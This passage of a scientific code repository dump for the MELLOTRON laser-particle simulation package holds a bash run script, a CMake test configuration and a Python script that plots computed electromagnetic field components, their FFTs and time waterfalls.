$INTEGSTRATTOLIN ./$DIR\ncp $INTEGSTRATTOLINSG ./$DIR\ncp $INTEGSTRATTOLINSGZERNIKE ./$DIR\ncp $INTEGSTRATTOLINZERNIKE ./$DIR\ncp $INTEGSTRATTOMOS ./$DIR\ncp $INTEGSTRATTOMOSSG ./$DIR\ncp $INTEGSTRATTOMOSSGZERNIKE ./$DIR\ncp $INTEGSTRATTORAD ./$DIR\ncp $COMPNORMCONST ./$DIR\ncp $MANAGEOUT ./$DIR\ncp $PRODUCEPLOTS ./$DIR\nOUTINITCONDS=\"init_conds.txt\"\nOUTNORMCONST=\"normalization_constant.txt\"\n\n# Change to simulation directory.\ncd ./$DIR\n# Check if config.xml is in current dir\nif [ -f ./$CONFIG ]; then\n echo -e \" \\e[32m--- Config file has been found. ---\\e[39m\"\nelse\n echo -e \" \\e[32m--- missing config.xml file. ---\\e[39m\"\n echo \"Mellotron can not be run. Exiting. \"\n exit 0\nfi\n\n# Generate initial conditions\nif [ -f ./$OUTINITCONDS ]; then\n echo -e \" \\e[32m--- Initial conditions has been found. ---\\e[39m\"\nelse\n echo -e \" \\e[32m--- Starting to generate initial conditions. ---\\e[39m\"\n python $GENINIT --shape $SHAPE --config $CONFIG\n echo \"Done: generate initial conditions.\"\nfi\n\nCONFIGDEFAULT=\"configSalamin.xml\"\nif [ \"$CONFIG\" == \"$CONFIGDEFAULT\" ] || [ \"$CONFIG\" == \"configSalaminIonized.xml\" ]; then\n # Compute normalization constant\n if [ -f ./$OUTNORMCONST ]; then\n echo -e \" \\e[32m--- Normalization constant has been found. ---\\e[39m\"\n else\n echo -e \" \\e[32m--- Starting to generate normalization constant. ---\\e[39m\"\n ./$COMPNORMCONST\n echo \"Done: compute normalization constant.\"\n fi\n\nif [ \"$CONFIG\" == \"$CONFIGDEFAULTG\" ]\n INTEG=$INTEGSAL\nelif [ \"$CONFIG\" == \"configSalaminIonized.xml\" ]; then\n INTEG=$INTEGSALION\nelif [ \"$CONFIG\" == \"configStrattoLinear.xml\" ]; then\n INTEG=$INTEGSTRATTOLIN\nelif [ \"$CONFIG\" == \"configStrattoLinearSG.xml\" ]; then\n INTEG=$INTEGSTRATTOLINSG\nelif [ \"$CONFIG\" == \"configStrattoLinearSGZernike.xml\" ]; then\n INTEG=$INTEGSTRATTOLINSGZERNIKE\nelif [ \"$CONFIG\" == \"configStrattoLinearZernike.xml\" ]; then\n INTEG=$INTEGSTRATTOLINZERNIKE\nelif [ \"$CONFIG\" == \"configStrattoMosaic.xml\" ]; then\n INTEG=$INTEGSTRATTOMOS\nelif [ \"$CONFIG\" == \"configStrattoMosaicSG.xml\" ]; then\n INTEG=$INTEGSTRATTOMOSSG\nelif [ \"$CONFIG\" == \"configStrattoMosaicSGZernike.xml\" ]; then\n INTEG=$INTEGSTRATTOMOSSGZERNIKE\nelif [ \"$CONFIG\" == \"configStrattoRadial.xml\" ]; then\n INTEG=$INTEGSTRATTORAD\nfi\n\n# -- Calculate particles behavior\necho -e \" \\e[32m--- Starting to calculate particles behavior. ---\\e[39m\"\nif [[ \"$VARINITTIME\" == true ]]; then\n cat $OUTINITCONDS | parallel -j $NJOBS --colsep \" \" ./$INTEG --init_conds {1} {2} {3} {4} {5} {6}\nelse\n cat $OUTINITCONDS | parallel -j $NJOBS --colsep \" \" ./$INTEG --init_conds {1} {2} {3} {4} {5} {6} {7}\nfi\necho \"Done: calculate particles behavior.\"\n\n# -- Manage outputs\necho -e \" \\e[32m--- Starting to manage the outputs. ---\\e[39m\"\nNUMBER=$(ls -d *.hdf5 | wc -l)\npython $MANAGEOUT --directory ./\necho \"Done: manage outputs.\"\n\n# -- Generate plots\necho -e \" \\e[32m--- Starting to produce the plots ---\\e[39m\"\npython $PRODUCEPLOTS --directory ./ --ion True --ionmass 4.0 --L 0.01\necho \"Done: produce plots.\"\n\nexit 0\n" }, { "alpha_fraction": 0.6500437259674072, "alphanum_fraction": 0.6544181704521179, "avg_line_length": 52.16279220581055, "blob_id": "6fca30b9d349fd4e9f3ae8a33033c46212a4743d", "content_id": "bd8ec7a4a89ef5d3b644e53037a72b291164d7db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 2286, "license_type": "no_license", "max_line_length": 135, "num_lines": 43, "path": "/tests/CMakeLists.txt", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\n# Author: Denis Gagnon <[email protected]> #\n# Date created: 2017-07-21 #\n# Description: CMake compilation instructions for MELLOTRON tests #\n# ----------------------------------------------------------------------------#\n\n# ----------------------------------------------------------------- #\n# -- Configuration and Dependencies -- #\n# ----------------------------------------------------------------- #\n# -- CMake version and installation directory.\n# CMake version\ncmake_minimum_required(VERSION 3.1)\n\n# -- Dependency (Google Test)\nfind_package(GTest REQUIRED)\ninclude_directories(${GTEST_INCLUDE_DIRS})\nset(LIBS ${LIBS} ${GTEST_LIBRARIES})\n\n# -- Output tests in directory\nadd_executable(\"UnitTest-Particle\" \"UnitTest-Particle.cpp\")\ntarget_link_libraries(\"UnitTest-Particle\" ${LIBS})\nadd_test(NAME \"UnitTest-Particle\" COMMAND \"UnitTest-Particle\")\n\nadd_executable(\"UnitTest-eDipoles\" \"UnitTest-eDipoles.cpp\")\ntarget_link_libraries(\"UnitTest-eDipoles\" ${LIBS})\ntarget_link_libraries(\"UnitTest-eDipoles\" Cubature)\nadd_test(NAME \"UnitTest-eDipoles\" COMMAND \"UnitTest-eDipoles\")\n\nadd_executable(\"UnitTest-ParticleObserverLienardWiechert\" \"UnitTest-ParticleObserverLienardWiechert.cpp\")\ntarget_link_libraries(\"UnitTest-ParticleObserverLienardWiechert\" ${LIBS})\nadd_test(NAME \"UnitTest-ParticleObserverLienardWiechert\" COMMAND \"UnitTest-ParticleObserverLienardWiechert\")\n\nadd_executable(\"UnitTest-SalaminTightlyFocused\" \"UnitTest-SalaminTightlyFocused.cpp\")\ntarget_link_libraries(\"UnitTest-SalaminTightlyFocused\" ${LIBS} ${CUBALIBS})\ntarget_link_libraries(\"UnitTest-SalaminTightlyFocused\" Cubature)\ntarget_link_libraries(\"UnitTest-SalaminTightlyFocused\" Cuba)\nadd_test(NAME \"UnitTest-SalaminTightlyFocused\" COMMAND \"UnitTest-SalaminTightlyFocused\" WORKING_DIRECTORY \"${CMAKE_SOURCE_DIR}/tests/\")\n\nif (BUILD_STRATTO_DRIVERS)\n add_executable(\"UnitTest-StrattoCalculatorWrapper\" \"UnitTest-StrattoCalculatorWrapper.cpp\")\n target_link_libraries(\"UnitTest-StrattoCalculatorWrapper\" ${LIBS} ${STRATTODEPS})\n add_test(NAME \"UnitTest-StrattoCalculatorWrapper\" COMMAND \"UnitTest-StrattoCalculatorWrapper\")\nendif()\n" }, { "alpha_fraction": 0.6185308694839478, "alphanum_fraction": 0.6398495435714722, "avg_line_length": 37.39444351196289, "blob_id": "d99a85ece40f7c426b83bef5b42d07130f1564fc", "content_id": "e61640be0686ea30e6176f50f9e64d43fd0ffacb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 20733, "license_type": "no_license", "max_line_length": 128, "num_lines": 540, "path": "/tests/UnitTest-SalaminTightlyFocused_plot.py", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# ------------------------------- Information ------------------------------- #\n# Author: Joey Dumont <[email protected]> #\n# Created: Oct. 19th, 2016 #\n# Description: We plot the Salamin fields computed in MELLOTRON. #\n# Dependencies: - NumPy #\n# - Matplotlib #\n# --------------------------------------------------------------------------- #\n\n# --------------------------- Modules Importation --------------------------- #\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib as mpl\nmpl.use('pgf')\nfrom matplotlib import cm\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom matplotlib.collections import PolyCollection\n\nimport numpy as np\nimport scipy.signal as sig\nimport scipy.constants as cst\nimport numpy.fft as fft\nimport math\nimport matplotlib.animation as animation\nimport shlex\nimport subprocess\n\n# ------------------------------ Configuration ------------------------------ #\n#-- We reset the LaTeX parameters to enable XeLaTeX.\npgf_with_pdflatex = {\n \"font.family\": \"serif\", # use serif/main font for text elements\n \"text.usetex\": True, # use inline math for ticks\n \"pgf.rcfonts\": False, # don't setup fonts from rc parameters\n \"pgf.preamble\": [\n r\"\\usepackage{siunitx}\",\n r\"\\usepackage{mathspec}\",\n r\"\\usepackage[charter]{mathdesign}\",\n r\"\\usepackage{fontspec}\",\n r\"\\setmathfont{Fira Sans}\",\n #r\"\\setmainfont{Oswald}\",\n ]\n}\nmpl.rcParams.update(pgf_with_pdflatex)\nmpl.rcParams['font.size'] = 10\n\n# ------------------------------ MAIN FUNCTION ------------------------------ #\n# -- Define the mesh.\nx_salamin = np.loadtxt(\"x_field_salamin.txt\")*1e6\ny_salamin = np.loadtxt(\"y_field_salamin.txt\")*1e6\n\nX_salamin, Y_salamin = np.meshgrid(x_salamin,y_salamin)\n\n# -- Load the data.\nEx_salamin = np.transpose(np.loadtxt(\"SalaminField_Ex.txt\"))**2\nEy_salamin = np.transpose(np.loadtxt(\"SalaminField_Ey.txt\"))**2\nEz_salamin = np.transpose(np.loadtxt(\"SalaminField_Ez.txt\"))**2\nBx_salamin = np.transpose(np.loadtxt(\"SalaminField_Bx.txt\"))**2\nBy_salamin = np.transpose(np.loadtxt(\"SalaminField_By.txt\"))**2\nBz_salamin = np.transpose(np.loadtxt(\"SalaminField_Bz.txt\"))**2\n\nmax_field = np.amax([Ex_salamin, Ey_salamin, Ez_salamin, Bx_salamin, By_salamin, Bz_salamin])\n\nEx_salamin /= max_field\nEy_salamin /= max_field\nEz_salamin /= max_field\nBx_salamin /= max_field\nBy_salamin /= max_field\nBz_salamin /= max_field\n\n# -- Plot the field.\nfig = plt.figure(figsize=(7,4))\nfig.subplots_adjust(wspace=0.5,hspace=0.3)\nplotOptions = {'rasterized':True, 'cmap': 'viridis'}\n\n# ----------- Ex ------------- #\naxEx = plt.subplot2grid((2,3), (0,0))\nim = plt.pcolormesh(X_salamin,Y_salamin,Ex_salamin, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_x$\")\naxEx.set_ylabel(r\"$y\\,[\\mu\\si{\\micro\\metre}]\")\n\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Ey ------------- #\naxEx = plt.subplot2grid((2,3), (0,1))\nim = plt.pcolormesh(X_salamin,Y_salamin,Ey_salamin, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_y$\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Ez ------------- #\naxEx = plt.subplot2grid((2,3), (0,2))\nim = plt.pcolormesh(X_salamin,Y_salamin,Ez_salamin, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_z$\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Bx ------------- #\naxEx = plt.subplot2grid((2,3), (1,0))\nim = plt.pcolormesh(X_salamin,Y_salamin,Bx_salamin, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_x$\")\naxEx.set_ylabel(r\"$y\\,[\\mu\\si{\\micro\\metre}]\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- By ------------- #\naxEx = plt.subplot2grid((2,3), (1,1))\nim = plt.pcolormesh(X_salamin,Y_salamin,By_salamin, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_y$\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Bz ------------- #\naxEx = plt.subplot2grid((2,3), (1,2))\nim = plt.pcolormesh(X_salamin,Y_salamin,Bz_salamin, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_z$\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\nplt.savefig(\"SalaminComponents.pdf\", bbox_inches='tight', dpi=500)\n\n# ------------------------------ Waterfall Plot ----------------------------- #\nsalamin_time_times = np.loadtxt(\"SalaminTimeIe.txt\")\nsize_time = salamin_time_times.size\nEx_salamin_time = np.empty((Ex_salamin.shape[0], Ex_salamin.shape[1], size_time))\nEy_salamin_time = np.empty((Ex_salamin.shape[0], Ex_salamin.shape[1], size_time))\nEz_salamin_time = np.empty((Ex_salamin.shape[0], Ex_salamin.shape[1], size_time))\nBx_salamin_time = np.empty((Ex_salamin.shape[0], Ex_salamin.shape[1], size_time))\nBy_salamin_time = np.empty((Ex_salamin.shape[0], Ex_salamin.shape[1], size_time))\nBz_salamin_time = np.empty((Ex_salamin.shape[0], Ex_salamin.shape[1], size_time))\n\n# -- Load the data.\nfor i in range(size_time):\n Ex_salamin_time[:,:,i] = np.transpose(np.loadtxt(\"SalaminField_Ex_t{}.txt\".format(i)))\n Ey_salamin_time[:,:,i] = np.transpose(np.loadtxt(\"SalaminField_Ey_t{}.txt\".format(i)))\n Ez_salamin_time[:,:,i] = np.transpose(np.loadtxt(\"SalaminField_Ez_t{}.txt\".format(i)))\n Bx_salamin_time[:,:,i] = np.transpose(np.loadtxt(\"SalaminField_Bx_t{}.txt\".format(i)))\n By_salamin_time[:,:,i] = np.transpose(np.loadtxt(\"SalaminField_By_t{}.txt\".format(i)))\n Bz_salamin_time[:,:,i] = np.transpose(np.loadtxt(\"SalaminField_Bz_t{}.txt\".format(i)))\n\n# -- Prepare the waterfall plot.\n# -- Prepare a LogNorm for colours and alpha.\nx_cut_time = x_salamin\nfield_xcut_time = Ex_salamin_time[Ex_salamin_time.shape[0]//2 ,:,:]**2 \\\n + Ey_salamin_time[Ey_salamin_time.shape[0]//2,:,:]**2 \\\n + Ez_salamin_time[Ez_salamin_time.shape[0]//2,:,:]**2\nlongfield_xcut = Ez_salamin_time[Ez_salamin_time.shape[0]//2,:,:]**2\nfield_xcut_time /= np.amax(field_xcut_time)\nlongfield_xcut /= np.amax(longfield_xcut)\ntime = salamin_time_times/1e-15\nnorm = mpl.colors.PowerNorm(gamma=0.1,vmin=0.0, vmax=np.amax(np.abs(time)))\n\nfig = plt.figure(figsize=(4,4))\nax = fig.add_subplot(111, projection='3d')\nax.view_init(20,110)\nverts = []\nvertsl = []\nmax_field = np.empty((size_time))\nmax_fieldl= np.empty((size_time))\n\nfor i in range(size_time):\n xs = np.concatenate([[x_cut_time[0]], x_cut_time[:,], [x_cut_time[-1]]])\n ys = np.concatenate([[0],field_xcut_time[:,i],[0]])\n ysl= np.concatenate([[0],longfield_xcut[:,i],[0]])\n verts.append(list(zip(xs,ys)))\n vertsl.append(list(zip(xs,ysl)))\n max_field[i] = np.amax(field_xcut_time[:,i])\n max_fieldl[i]= np.amax(longfield_xcut[:,i])\n ax.plot(x_cut_time[:],field_xcut_time[:,i], zs=time[-1], zdir='y', zorder=-1, color='C0', alpha=1.0-norm(np.abs(time[i])))\n\npoly = PolyCollection(verts, rasterized=True, facecolor=None, edgecolor='k', lw=0.7)\npolyl= PolyCollection(vertsl, rasterized=True, facecolor=None, edgecolor='k', lw=0.7)\npoly.set_alpha(0.25)\npolyl.set_alpha(0.25)\n#ax.scatter(time, max_field, zs=x_cut_time[0,0], zdir='x', zorder=-1)\n#ax.plot(time, EnvelopeFunction(time,*popt), zs=x_cut_time[0,0], zdir='x', zorder=-1)\n#ax.plot(x_cut_time[:,time_idx], field_xcut_time[:,time_idx], zs=time[-1], zdir='y', zorder=-1)\nax.add_collection3d(poly, zs=time, zdir='y')\n#ax.add_collection3d(polyl,zs=time,zdir='y')\nax.ticklabel_format(style='sci', axis='z',scilimits=(0,0))\nax.set_xlim3d(x_cut_time.min(), x_cut_time.max())\nax.set_xlabel(r'$x$ [$\\mu m$]')\nax.set_ylim3d(np.amin(time), np.amax(time))\nax.set_ylabel('Time (fs)')\nax.invert_yaxis()\nax.invert_xaxis()\nax.set_zlim3d(0.0, field_xcut_time.max())\nax.set_zlabel('Amplitude', rotation=90)\nplt.savefig(\"SalaminElectricIntensityTimeWaterfall.pdf\",dpi=500)\nplt.close()\n\nplt.figure()\nplt.plot(time, max_field)\nplt.plot(time, max_fieldl)\nplt.savefig(\"SalaminIevsEz.pdf\", dpi=500)\nplt.close()\n\n# -- Further processing of the waterfall figure.\ncmd = 'pdfcrop --margins \"35 0 0 0\" SalaminElectricIntensityTimeWaterfall.pdf SalaminElectricIntensityTimeWaterfall-cropped.pdf'\nproc = subprocess.call(shlex.split(cmd))\nprint(\"Waterfall plot done.\")\n# ------------------------------ FFT of Salamin ----------------------------- #\nEx_salamin_freq = fft.rfft(Ex_salamin_time)\nEy_salamin_freq = fft.rfft(Ey_salamin_time)\nEz_salamin_freq = fft.rfft(Ez_salamin_time)\nBx_salamin_freq = fft.rfft(Bx_salamin_time)\nBy_salamin_freq = fft.rfft(By_salamin_time)\nBz_salamin_freq = fft.rfft(Bz_salamin_time)\n\nfreqs = fft.rfftfreq(size_time, d=salamin_time_times[1]-salamin_time_times[0])\nwavelengths = np.pi*cst.c/freqs\n\nprint(wavelengths*1e9)\n\ndef find_nearest(array,value):\n idx = np.searchsorted(array, value, side=\"left\")\n if idx > 0 and (idx == len(array) or math.fabs(value - array[idx-1]) < math.fabs(value - array[idx])):\n return idx-1, array[idx-1]\n else:\n return idx, array[idx]\nidx, actual_freq = find_nearest(wavelengths[::-1]*1e9, 800.0)\nprint(\"Actual freq is {}\".format(actual_freq))\n\nplt.figure()\nplt.pcolormesh(X_salamin, Y_salamin, np.abs(Ex_salamin_time[:,:,size_time//2])**2, **plotOptions)\nplt.gca().set_aspect('equal')\nplt.savefig(\"TestTime.pdf\", bbox_inches='tight', dpi=500)\nplt.close()\n\n# -- Plot intensity of Ex.\nintensity = np.abs(Ex_salamin_freq)**2\nmaxIntensity_idx = np.argmax(intensity)\nmaxIntensity_ind = np.unravel_index(maxIntensity_idx, intensity.shape)\nmaxIntensity = intensity[maxIntensity_ind]\n\nplt.figure()\nim = plt.pcolormesh(X_salamin, Y_salamin, intensity[:,:,maxIntensity_ind[2]]/maxIntensity, vmin=0.0, vmax=1.0,**plotOptions)\nplt.gca().set_aspect('equal')\nplt.gca().text(0.95,0.95, \"freq = {:5e}\".format(2*np.pi*freqs[maxIntensity_ind[2]]))\nplt.savefig(\"TestFFT.pdf\", bbox_inches='tight', dpi=500)\n\n# -------------------------- Frequency Components -------------------------- #\nEx_intensity = np.abs(Ex_salamin_freq)**2\nEy_intensity = np.abs(Ey_salamin_freq)**2\nEz_intensity = np.abs(Ez_salamin_freq)**2\nBx_intensity = np.abs(Bx_salamin_freq)**2\nBy_intensity = np.abs(By_salamin_freq)**2\nBz_intensity = np.abs(Bz_salamin_freq)**2\n\nEx_intensity_ind = np.unravel_index(np.argmax(Ex_intensity), Ex_intensity.shape)\nEy_intensity_ind = np.unravel_index(np.argmax(Ey_intensity), Ex_intensity.shape)\nEz_intensity_ind = np.unravel_index(np.argmax(Ex_intensity), Ex_intensity.shape)\nBx_intensity_ind = np.unravel_index(np.argmax(Bx_intensity), Ex_intensity.shape)\nBy_intensity_ind = np.unravel_index(np.argmax(By_intensity), Ex_intensity.shape)\nBz_intensity_ind = np.unravel_index(np.argmax(Bz_intensity), Ex_intensity.shape)\n\nlistofInd = [Ex_intensity_ind, Ey_intensity_ind, Ez_intensity_ind, Bx_intensity_ind, By_intensity_ind, Bz_intensity_ind]\nlistOfMax = [Ex_intensity[Ex_intensity_ind], Ey_intensity[Ey_intensity_ind], Ez_intensity[Ez_intensity_ind], \\\n Bx_intensity[Bx_intensity_ind], By_intensity[By_intensity_ind], Bz_intensity[Bz_intensity_ind]]\nmaxInd = np.argmax(listOfMax)\n\nEx_intensity /= listOfMax[maxInd]\nEy_intensity /= listOfMax[maxInd]\nEz_intensity /= listOfMax[maxInd]\nBx_intensity /= listOfMax[maxInd]\nBy_intensity /= listOfMax[maxInd]\nBz_intensity /= listOfMax[maxInd]\n\nEx_intensity_plot = Ex_intensity[:,:,listofInd[maxInd][2]]\nEy_intensity_plot = Ey_intensity[:,:,listofInd[maxInd][2]]\nEz_intensity_plot = Ez_intensity[:,:,listofInd[maxInd][2]]\nBx_intensity_plot = Bx_intensity[:,:,listofInd[maxInd][2]]\nBy_intensity_plot = By_intensity[:,:,listofInd[maxInd][2]]\nBz_intensity_plot = Bz_intensity[:,:,listofInd[maxInd][2]]\n\n# -- Plot the field.\nfig = plt.figure(figsize=(7,4))\nfig.subplots_adjust(wspace=0.5,hspace=0.3)\nplotOptions = {'rasterized':True, 'cmap': 'viridis'}\n\n# ----------- Ex ------------- #\naxEx = plt.subplot2grid((2,3), (0,0))\nim = plt.pcolormesh(X_salamin,Y_salamin,Ex_intensity_plot, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_x$\")\naxEx.set_ylabel(r\"$y\\,[\\mu\\si{\\micro\\metre}]\")\n\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Ey ------------- #\naxEx = plt.subplot2grid((2,3), (0,1))\nim = plt.pcolormesh(X_salamin,Y_salamin,Ey_intensity_plot, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_y$\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Ez ------------- #\naxEx = plt.subplot2grid((2,3), (0,2))\nim = plt.pcolormesh(X_salamin,Y_salamin,Ez_intensity_plot, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_z$\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Bx ------------- #\naxEx = plt.subplot2grid((2,3), (1,0))\nim = plt.pcolormesh(X_salamin,Y_salamin,Bx_intensity_plot, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_x$\")\naxEx.set_ylabel(r\"$y\\,[\\mu\\si{\\micro\\metre}]\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- By ------------- #\naxEx = plt.subplot2grid((2,3), (1,1))\nim = plt.pcolormesh(X_salamin,Y_salamin,By_intensity_plot, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_y$\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Bz ------------- #\naxEx = plt.subplot2grid((2,3), (1,2))\nim = plt.pcolormesh(X_salamin,Y_salamin,Bz_intensity_plot, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_z$\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\nplt.savefig(\"SalaminComponentsFreq.pdf\", bbox_inches='tight', dpi=500)\n\n# -- Animation of E_x(k).\nWriter = animation.writers['ffmpeg']\nwriter = Writer(fps=15, metadata=dict(artist='Me'), bitrate=1800)\n\nfreqFigAnimation = plt.figure()\nims = []\n\nfor i in range(freqs.size):\n im = plt.pcolormesh(X_salamin, Y_salamin, np.abs(Ex_salamin_freq[:,:,i])**2/maxIntensity, vmin=0.0, vmax=1.0,**plotOptions)\n t = plt.gca().text(0.95,0.95, \"wavelength = {:.5e}\".format(wavelengths[i]*1e9), transform=plt.gca().transAxes)\n f = plt.gca().text(0.95,0.85, \"freq = {:.5e}\".format(freqs[i]), transform=plt.gca().transAxes)\n ims.append([im,t,f])\n #plt.savefig(\"TestFFT.pdf\", bbox_inches='tight',dpi=500)\n\nplt.gca().set_aspect('equal')\nim_ani = animation.ArtistAnimation(freqFigAnimation, ims, interval=500, blit=True, repeat=False)\nim_ani.save(\"im.mp4\", writer=writer)\n\nplt.close()\n\n# ----------------------------- Salamin in Time ----------------------------- #\nsalamin_time_intensity = np.loadtxt(\"SalaminTimeIe_time.txt\")\nsalamin_time_times = np.loadtxt(\"SalaminTimeIe.txt\")/1e-15\n\n# -- Compute the Hilbert transform of this.\nsalamin_envelope = np.abs(sig.hilbert(salamin_time_intensity))\nfig = plt.figure()\nax = fig.add_subplot(111)\nim = plt.plot(salamin_time_times, salamin_time_intensity, rasterized=True)\nplt.plot(salamin_time_times, salamin_envelope, 'k--')\n\nax.set_xlabel(r\"Time [fs]\")\nax.set_ylabel(r\"Intensity [$\\si{\\watt\\per\\cm\\squared}$]\")\n\nplt.savefig(\"SalaminTimeIntensity.pdf\", bbox_inches='tight')\n\n# # ------------------------- Quasi-Gaussian e-dipoles ------------------------ #\n# x_qgauss = np.loadtxt(\"x_field_qgauss.txt\")/1e-6\n# y_qgauss = np.loadtxt(\"y_field_qgauss.txt\")/1e-6\n# X_qgauss, Y_qgauss = np.meshgrid(x_qgauss, y_qgauss)\n# field = np.loadtxt(\"QuasiGaussianField.txt\")\n# fieldQED=np.loadtxt(\"QuasiGaussianField_qed.txt\")\n\n# # -- Plot the field.\n# fig = plt.figure()\n# plt.pcolormesh(X_qgauss,Y_qgauss,field)\n# plt.gca().set_aspect('equal')\n# plt.colorbar()\n\n# fig = plt.figure()\n# plt.pcolormesh(X_qgauss,Y_qgauss,(field-fieldQED)/field, **plotOptions)\n# plt.gca().set_aspect('equal')\n# plt.colorbar()\n\n# t_data = np.loadtxt(\"t_data_qgauss.txt\")\n# t_field = np.loadtxt(\"t_field_qgauss.txt\")\n# t_field_qed= np.loadtxt(\"t_field_qgauss_qed.txt\")\n\n# fig = plt.figure()\n# plt.plot(t_data,t_field)\n# plt.plot(t_data,t_field_qed)\n\n\n# ------------------------- StrattoCalculator Linear ------------------------ #\n# -- Define the mesh.\nlambda_c = 800.0e-9\nomega_0 = 2*np.pi*cst.c/lambda_c\nx_stratto = np.loadtxt(\"x_field_stratto.txt\")/lambda_c\ny_stratto = np.loadtxt(\"y_field_stratto.txt\")/lambda_c\n\nX_stratto, Y_stratto = np.meshgrid(x_stratto,y_stratto)\n\n# -- Load the data.\nintensity_prefac = 0.5*cst.c*cst.epsilon_0*(cst.m_e*omega_0*cst.c/cst.e)**2\nEx_stratto = 1.0e-4*intensity_prefac*np.transpose(np.loadtxt(\"StrattoField_Ex.txt\"))**2\nEy_stratto = 1.0e-4*intensity_prefac*np.transpose(np.loadtxt(\"StrattoField_Ey.txt\"))**2\nEz_stratto = 1.0e-4*intensity_prefac*np.transpose(np.loadtxt(\"StrattoField_Ez.txt\"))**2\nBx_stratto = 1.0e-4*intensity_prefac*np.transpose(np.loadtxt(\"StrattoField_Bx.txt\"))**2\nBy_stratto = 1.0e-4*intensity_prefac*np.transpose(np.loadtxt(\"StrattoField_By.txt\"))**2\nBz_stratto = 1.0e-4*intensity_prefac*np.transpose(np.loadtxt(\"StrattoField_Bz.txt\"))**2\n\n# -- Plot the field.\nfig = plt.figure(figsize=(7,4))\nfig.subplots_adjust(wspace=0.5,hspace=0.3)\nplotOptions = {'rasterized':True, 'cmap': 'inferno'}\n\n# ----------- Ex ------------- #\naxEx = plt.subplot2grid((2,3), (0,0))\nim = plt.pcolormesh(X_stratto,Y_stratto,Ex_stratto, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_x$\")\naxEx.set_ylabel(r\"$y\\,[\\mu\\si{\\micro\\metre}]\")\n\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Ey ------------- #\naxEx = plt.subplot2grid((2,3), (0,1))\nim = plt.pcolormesh(X_stratto,Y_stratto,Ey_stratto, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_y$\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Ez ------------- #\naxEx = plt.subplot2grid((2,3), (0,2))\nim = plt.pcolormesh(X_stratto,Y_stratto,Ez_stratto, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$E_z$\")\n\ndivider = make_axes_locatable(axEx)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\nplt.colorbar(im, cax)\n\n# ----------- Bx ------------- #\naxEx = plt.subplot2grid((2,3), (1,0))\nim = plt.pcolormesh(X_stratto,Y_stratto,Bx_stratto, **plotOptions)\naxEx.set_aspect('equal')\naxEx.set_title(r\"$B_x$\")\naxEx.set_ylabel(r\"$y\\,[\\mu\\si{\\micro\\metre}]\")\naxEx.set_xlabel(r\"$x\\,[\\mu\\si{\\metre}]\")\n\ndivider = make_axes_locatable(axEx)\ncax 